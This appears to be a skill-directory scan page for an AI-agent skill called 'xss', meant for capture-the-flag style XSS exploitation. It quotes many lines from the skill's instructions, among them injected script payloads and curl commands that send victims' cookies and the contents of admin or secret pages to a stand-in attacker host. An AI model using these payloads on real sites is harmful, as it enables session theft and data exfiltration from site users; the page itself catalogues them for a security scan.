← All skills
xss
90 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.
Works with any agent that supports SKILL.md skills.
What this skill can do
Connects to the internet
The author does not mention this.
Found in 26 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 42
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test' # attribute context - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 43
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test" # JS string context - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 46
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 49
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 50
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 69
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 72
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 75
curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 78
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 81
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 84
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 85
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 95
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 97
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED" - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 129
<img src=x onerror=fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)> - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 182
curl -sg "$TARGET/page?name=${PAYLOAD}" | grep -i "flag\|new_umbrella\|alert" - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 207
curl -sg "$TARGET/page?name=abc" | grep -i "error_umbrella\|sorry\|blocked" # blocked = filter active
and 6 more places
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 11 places.
Show 8 more
- packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 95
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>' - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 103
<ScRiPt>alert(1)</ScRiPt> - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 168
npm install jsfuck 2>/dev/null - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 192
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); console.log(JSFuck.encode('alert(1)',false,true))" - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 198
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); const s=JSFuck.encode('\"alert(\\\\\"XSS\\\\\")\"',false,true); console.log('eval('+s+')')" - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 207
curl -sg "$TARGET/page?name=abc" | grep -i "error_umbrella\|sorry\|blocked" # blocked = filter active - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 225
curl -sg "$TARGET/page?name=<a>" | grep -i "sorry" # likely blocked (a in range) - packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md, line 268
CLASS="event-handler" # name of bypass class for this payload
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'xss' ] || [ -L ~/.agents/skills/'xss' ]; then echo 'A skill folder named xss already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/exploit/web/xss' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/exploit/web/xss' ~/.agents/skills/'xss' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'xss' ~/.claude/skills/'xss' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 90 |
| 2026-11-08 | df87955 | 90 |